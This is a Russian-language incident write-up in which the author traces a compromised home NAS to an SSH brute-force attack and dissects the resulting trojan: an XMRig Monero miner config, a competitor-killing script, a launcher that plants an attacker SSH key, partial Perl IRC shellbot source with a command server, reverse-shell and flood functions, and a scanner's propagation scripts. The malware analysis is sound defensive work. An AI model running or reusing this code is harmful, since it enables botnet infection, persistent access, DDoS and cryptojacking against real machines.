Сегодня мой внешний IP был заблокирован в сервисе IVI с сообщением
Ваш ip-адрес идентифицируется как анонимный.
Пожалуйста, обратитесь к своему интернет-провайдеру. IP адрес <IP>.
Данные предоставлены maxmind.comЧто это значит?
В базе знаний IVI существует информация об ошибке 4530, пояснение которой, гласит, что на IP адресе детектирован VPN или открытый прокси. Но ничего подобного я сознательно не устанавливал. Мне стало понятно, что мой роутер или NAS, который я недавно добавил в сеть, участвуют в каких-то непристойностях.
Дисклеймер
Материалы, приведенные ниже, несут исключительно научно-исследовательский характер. Данное исследование проводилось автором исключительно в научно-исследовательских целях, его результаты не являются и не могут признаваться руководством к совершению каких-либо противоправных действий. При проведении исследования автор действовал в рамках законодательства Российской Федерации. Использование результатов исследования допускается исключительно в научно-ознакомительных целях. Использование результатов исследования для достижения противоправного или любого иного от научной деятельности результата может повлечь за собой уголовную, административную и (или) гражданско-правовую ответственность. Автор не несет ответственность за инциденты в сфере информационной безопасности, имеющие отношение к тематике исследования.
Разбираемся что же произошло
Проанализировав конфигурацию и логи роутера, я убедился что он чист, а мой NAS стоит в режиме DMZ. Я зашел на NAS и первым делом посмотрел стоит ли на нем fail2ban и активирован ли ufw. Ни того ни другого я не обнаружил, а auth.log был внушительного размера. Похоже, вектором атаки стал брутфорс пароля пользователя через ssh.
Запустив grep -in Accept /var/log/auth.log я увидел следующее
98341:Dec 23 23:45:36 fileserver sshd[23179]: Accepted password for timemachine from 46.101.149.19 port 45573 ssh2Злоумышленник успешно вошел под пользователем timemachine c IP адреса 46.101.149.19 во франкфурте. Примечательно, что строка попалась в логе всего один раз, почти неделю назад. Однако. Продолжаем исследования. Вызов
ps -aux | grep timematimemac+ 3512 123 13.3 302904 267484 ? Ssl Dec25 4728:49 ./cron
timemac+ 3590 0.0 0.1 12884 3232 ? S Dec25 0:00 /bin/bash ./go
timemac+ 17476 0.0 0.0 11740 924 ? S 13:47 0:00 timeout 6h ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17477 0.0 0.1 12884 3036 ? S 13:47 0:00 /bin/bash ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17482 112 2.4 3500784 49616 ? Sl 13:47 146:11 /dev/shm/.lwp/.rsync/c/lib/64/tsm --library-path /dev/shm/.lwp/.rsync/c/lib/64/ /usr/sbin/httpd sync/c/tsm64 -t 301
timemac+ 23184 0.0 0.3 76764 7288 ? Ss Dec23 0:00 /lib/systemd/systemd --user
timemac+ 23185 0.0 0.1 206708 2204 ? S Dec23 0:00 (sd-pam)
timemac+ 24436 0.0 0.3 27412 6672 ? S Dec24 1:49 rsync
timemac+ 3512 123 13.3 302904 267484 ? Ssl Dec25 4728:51 ./cron
timemac+ 3590 0.0 0.1 12884 3232 ? S Dec25 0:00 /bin/bash ./go
timemac+ 17476 0.0 0.0 11740 924 ? S 13:47 0:00 timeout 6h ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17477 0.0 0.1 12884 3036 ? S 13:47 0:00 /bin/bash ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17482 112 2.4 3500784 49628 ? Sl 13:47 146:15 /dev/shm/.lwp/.rsync/c/lib/64/tsm --library-path /dev/shm/.lwp/.rsync/c/lib/64/ /usr/sbin/httpd sync/c/tsm64 -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 23184 0.0 0.3 76764 7288 ? Ss Dec23 0:00 /lib/systemd/systemd --user
timemac+ 23185 0.0 0.1 206708 2204 ? S Dec23 0:00 (sd-pam)
timemac+ 24436 0.0 0.3 27412 6672 ? S Dec24 1:49 rsyncПохоже, все пути ведут в /dev/shm/.lwp. Посмотрим что там.
Структура малвари
/dev/shm/.lwp
+-- apt.conf
+-- dota3.tar.gz
+-- .out
+-- .rsync
¦ +-- a
¦ ¦ +-- a
¦ ¦ +-- anacron
¦ ¦ +-- bash.pid
¦ ¦ +-- cron
¦ ¦ +-- dir.dir
¦ ¦ +-- init0
¦ ¦ +-- .procs
¦ ¦ +-- run
¦ ¦ +-- stop
¦ ¦ L-- upd
¦ +-- b
¦ ¦ +-- a
¦ ¦ +-- dir.dir
¦ ¦ +-- run
¦ ¦ +-- stop
¦ ¦ L-- sync
¦ +-- c
¦ ¦ +-- a
¦ ¦ +-- aptitude
¦ ¦ +-- b
¦ ¦ +-- cron.d
¦ ¦ +-- dir2.dir
¦ ¦ +-- dir.dir
¦ ¦ +-- go
¦ ¦ +-- golan
¦ ¦ +-- ip
¦ ¦ +-- lib
¦ ¦ ¦ +-- 32
¦ ¦ ¦ ¦ +-- libc.so.6
¦ ¦ ¦ ¦ +-- libdl.so.2
¦ ¦ ¦ ¦ +-- libnss_dns.so.2
¦ ¦ ¦ ¦ +-- libnss_files.so.2
¦ ¦ ¦ ¦ +-- libpthread.so.0
¦ ¦ ¦ ¦ +-- libresolv-2.23.so
¦ ¦ ¦ ¦ +-- libresolv.so.2
¦ ¦ ¦ ¦ L-- tsm
¦ ¦ ¦ +-- 64
¦ ¦ ¦ ¦ +-- libc.so.6
¦ ¦ ¦ ¦ +-- libdl.so.2
¦ ¦ ¦ ¦ +-- libnss_dns.so.2
¦ ¦ ¦ ¦ +-- libnss_files.so.2
¦ ¦ ¦ ¦ +-- libpthread.so.0
¦ ¦ ¦ ¦ +-- libresolv-2.23.so
¦ ¦ ¦ ¦ +-- libresolv.so.2
¦ ¦ ¦ ¦ L-- tsm
¦ ¦ ¦ L-- arm
¦ ¦ ¦ +-- libarmmem-v7l.so
¦ ¦ ¦ +-- libc.so.6
¦ ¦ ¦ +-- libdl.so.2
¦ ¦ ¦ +-- libnss_dns.so.2
¦ ¦ ¦ +-- libpthread.so.0
¦ ¦ ¦ +-- libresolv.so
¦ ¦ ¦ +-- libresolv.so.2
¦ ¦ ¦ L-- tsm
¦ ¦ +-- n
¦ ¦ +-- p
¦ ¦ +-- run
¦ ¦ +-- slow
¦ ¦ +-- start
¦ ¦ +-- stop
¦ ¦ +-- tsm
¦ ¦ +-- tsm32
¦ ¦ +-- tsm64
¦ ¦ +-- tsmv7
¦ ¦ +-- v
¦ ¦ L-- watchdog
¦ +-- cron.d
¦ +-- dir.dir
¦ +-- init
¦ +-- init2
¦ +-- initall
¦ L-- .out
L-- timemachine
8 directories, 70 filesУ трояна можно выделить следующие части
- Майнер криптовалюты XMRIG (.rsync/a)
- Шеллбот (.rsync/b)
- Сканер-брутфорсер (.rsync/c)
- Ланчер (.rsync/init и компания)
Майнер
Кастомная сборка XMRIG. Собран под архитектуры х86 и х64. Вся кастомность заключается в конфиге, зашитом в бинарник. Попробуем его достать и понять на кого трудилась моя машинка. У XMRIG есть конструктор конфигов. Нащёлкаем любую простую конфигурацию. На выходе мы получаем json такого вида:
{
"autosave": true,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "sdfsdf:3333"
}
]
}специфичным ключом для поиска выберем "pools". Проверим. Запустим
strings -n5 anacron | less и поищем строку "pools".
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"version": 1,
"background": true,
"colors": true,
"randomx": {
"init": -1,
"numa": true
},
"cpu": {
"enabled": true,
"huge-pages": true,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"max-threads-hint": 100,
"asm": true,
"argon2-impl": null,
"cn/0": false,
"cn-lite/0": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 0,
"donate-over-proxy": 0,
"log-file": null,
"pools": [
{
"coin": "monero",
"algo": null,
"url": "debian-package.center:80",
"user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
"pass": "x",
"tls": false,
"keepalive": true,
"nicehash": true
},
{
"coin": "monero",
"algo": null,
"url": "45.9.148.125:80",
"user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
"pass": "x",
"tls": false,
"keepalive": true,
"nicehash": true
},
{
"coin": "monero",
"algo": null,
"url": "45.9.148.129:80",
"user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
"pass": "x",
"tls": false,
"keepalive": true,
"nicehash": true
}
],
"print-time": 60,
"health-print-time": 60,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"user-agent": null,
"watch": true
}Малварь майнит монеро на пулах debian-package.center, 45.9.148.125, 45.9.148.129 для юзера 45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ с паролем x доменное имя debian-package.center резолвится в последний по списку ip 45.9.148.129
Интересной особенностью майнера является скрипт запуска a/init0. Перед тем как запустить свою копию, он избавляется от конкурентов и процессов, которые в данный момент занимают более 60% процессорного времени. Поиск конкурентных процессов скрипт осуществляет по имени, сетевой активности и известному месторасположению других малварей. В целом, этот скрипт даже можно использовать в качестве "антивируса"
#!/bin/sh
############################################################################################# A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################
# Killing processes by name, path, arguments and CPU utilization
processes(){
killme() {
killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
}
killa() {
what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
}
killa 34e2fg
killme
# Killing big CPU
VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
for word in $VAR
do
CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
done
killall \.Historys
killall \.sshd
killall neptune
killall xm64
killall xm32
killall xmrig
killall \.xmrig
killall suppoieup
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
ps auxf|grep named| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f /usr/bin/.sshd
pkill -f acpid
pkill -f AnXqV.yam
pkill -f apaceha
pkill -f askdljlqw
pkill -f bashe
pkill -f bashf
pkill -f bashg
pkill -f bashh
pkill -f bashx
pkill -f BI5zj
pkill -f biosetjenkins
pkill -f bonn.sh
pkill -f bonns
pkill -f conn.sh
pkill -f conns
pkill -f cryptonight
pkill -f crypto-pool
pkill -f ddg.2011
pkill -f deamon
pkill -f disk_genius
pkill -f donns
pkill -f Duck.sh
pkill -f gddr
pkill -f Guard.sh
pkill -f i586
pkill -f icb5o
pkill -f ir29xc1
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbalanc1
pkill -f irqbalance
pkill -f irqbnc1
pkill -f JnKihGjn
pkill -f jweri
pkill -f kw.sh
pkill -f kworker34
pkill -f kxjd
pkill -f libapache
pkill -f Loopback
pkill -f lx26
pkill -f mgwsl
pkill -f minerd
pkill -f minergate
pkill -f minexmr
pkill -f mixnerdx
pkill -f mstxmr
pkill -f nanoWatch
pkill -f nopxi
pkill -f NXLAi
pkill -f performedl
pkill -f polkitd
pkill -f pro.sh
pkill -f pythno
pkill -f qW3xT.2
pkill -f sourplum
pkill -f stratum
pkill -f sustes
pkill -f wnTKYg
pkill -f XbashY
pkill -f XJnRj
pkill -f xmrig
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f ysaydh
pkill -f zigw
# crond
ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
while read crondpid
do
if [ $(echo $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]
then
kill $crondpid
rm -rf /var/tmp/v3
fi
done < /tmp/crondpid
rm /tmp/crondpid -f
# sshd
ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
while read sshdpid
do
if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]
then
kill $sshdpid
fi
done < /tmp/ssdpid
rm -f /tmp/ssdpid
# syslog
ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
while read syslogpid
do
if [ $(echo $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]
then
kill $syslogpid
fi
done < /tmp/syslogspid
rm /tmp/syslogspid -f
ps x | grep 'b 22'| awk '{print $1,$5}' > .procs
cat .procs | while read line
do
pid=`echo $line | awk '{print $1;}'`
name=`echo $line | awk '{print $2;}'`
#echo $pid $name
if [ $(echo $name | wc -c) -lt "13" ]
then
echo "Found" $pid $name
kill -9 $pid
fi
done
####################################################
ps x | grep 'd 22'| awk '{print $1,$5}' > .procs
cat .procs | while read line
do
pid=`echo $line | awk '{print $1;}'`
name=`echo $line | awk '{print $2;}'`
#echo $pid $name
if [ $(echo $name | wc -c) -lt "13" ]
then
echo "Found" $pid $name
kill -9 $pid
fi
done
}
# Removing miners by known path IOC
files(){
rm /tmp/.cron
rm /tmp/.main
rm /tmp/.yam* -rf
rm -f /tmp/irq
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*httpd.conf
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*index_bak*
rm -rf /tmp/.systemd-private-*
rm -rf /tmp/.xm*
rm -rf /tmp/a7b104c270
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -rf /tmp/httpd.conf
rm -rf /tmp/java*
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/xm*
rm -rf /var/tmp/java*
}
# Killing and blocking miners by network related IOC
network(){
# Kill by known ports/IPs
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}
files
processes
network
echo "DONE"Шеллбот
Живет в .rsync/b/run и представляет из себя закодированный в base64 и сжатый бэкдор-скрипт на perl, похожий на этот экземпляр. Он так же устанавливает ssh ключ в систему для возможности повторно незаметно восстанавливать доступ к системе.
#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "<base64>" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.sshmy $processo = 'rsync';
$servidor='45.9.148.125' unless $servidor;
my $porta='443';
my $VERSAO = '0.2a';
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
}
elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
notice("$pn", "\001PONG\001");
}
elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
$meunick = getnick();
nick("$meunick");
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","53","80","110","143","6665");
my (@aberta, %porta_banner);
....
}
elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
}
elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
my $hostname="$1";
my $portainicial = "$2";
my $portafinal = "$3";
my (@abertas, %porta_banner);
...
}
elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $tempo = "$3";
my $pacote;
my $pacotese;
my $fim = time + $tempo;
my $pacota = 1;
...
}
elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $faixaip="$1";
my $porta = "$2";
my $tempo = "$3";
my $pacote;
my $pacotes;
my $fim = time + $tempo;
my $pacota = 1;
my $alvo;
...
if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
}
}
elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
...
if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
}
}
elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
unless ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
}
}
exit;
}
}
}Беглый анализ скрипта показывает, что бот координируется с IRC сервера 45.9.148.125:443. Функционал стандартный. Он может выполнять
- Произвольные Shell команды, судя по коду, в т.ч. и на Win32
- Быстрое сканирование портов "21","22","23","25","53","80","110","143","6665" произвольного хоста
- Скачивание произвольного url на компьютер жертвы
- Сканирование диапазона портов произвольного хоста
- UDP флуд с произвольной скоростью на выбранный хост
- UDP флуд с произвольной скоростью на подсеть
- Соединение по TCP с выбранным хостом
- Выполнять комбинированный флуд igmp, udp, icmp, tcp по всему диапазону портов на хосте
В скрипте так же упомянуты следующие url: http://www.minpop.com/sk12pack/idents.php и http://www.minpop.com/sk12pack/names.php, однако, они выглядят нерабочими.
Этого арсенала хватает, чтобы злоумышленник мог получить контроль над системой и запустить свои процессы.
Сканер-брутфорсер
Самая интересная часть малвари. Будучи запущенным, сканер виден в системе как процесс tsm и пытается подобрать ssh пароли на следующих N хостах и заразить их. В моем случае, я обнаружил файл с 70к ip адресами и небольшой словарь типовых паролей. Сканер имеет свои рантайм библиотеки (std, openssh, dns, resolv,pthread) под архитектуры x32, x64, armv7. За счет этого, зараза может веерно заражать большое количество жертв на разных архитектурах. Каждая зараженная машина становится частью ботнета и наращивает мощность сети.
Внутри исполнимого файла я нашел следующие строки
---------------------->Faster than light<-----------------------------
--------------------->use only for testing<---------------------------
Use: scan [OPTIONS] [[USER PASS]] FILE] [IPs/IPs Port FILE]
-t [NUMTHREADS]: Change the number of threads used. Default is %d
-m [MODE]: Change the way the scan works. Default is %d
-f [FINAL SCAN]: Does a final scan on found servers. Default is %d
Use -f 1 for A.B class /16. Default is 2 for A.B.C /24
-i [IP SCAN]: use -i 0 to scan ip class A.B. Default is %d
if you use -i 0 then use ./scan -p 22 -i 0 p 192.168 as agrument for ip file
-m 0 for non selective scanning
-P 0 leave default password unchanged. Changes password by default.
-s [TIMEOUT]: Change the timeout. Default is %ld
-S [2ndTIMEOUT]: Change the 2nd timeout. Default is %ld
-p [PORT]: Specify another port to connect to. 0 for multiport
-c [REMOTE-COMMAND]: Command to execute on connect. Use ; or && with commands
Use: ./scan -t 202 -s 5 -S 5 p ip -c "uname"
Use: ./scan -t 202 -s 5 -S 5 -i 0 -p 22 p 192.168
The example above will scan 192.168 port 22 and brute force the IP list.
Use: ./scan -t 202 -s 5 -S 5 -p 0 p ip - for "ip port" file
Use: ./scan -t 202 -s 5 -S 5 -p 23 -m 0 p ip - for other protocols
When using -m 1 (default value) the scan will only target full linux
machines or windows machines with openssh installed. Routers, busyboxes
honeypots and other limited linux devices will be skipped from the output.
Use -m 0 for non-selective scanning (can be used for all type of ssh devices)
this includes busyboxes, routers, honeypots and other devices with limited
commands. ================================================================
==========================================================================#!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd .rsync; cat /tmp/.X19-unix/.rsync/initall | bash 2>1&
sleep 45s && pkill -9 run && pkill -9 go && pkill -9 tsm
exit 0#!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd /tmp/.X19-unix/.rsync/c
nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1&
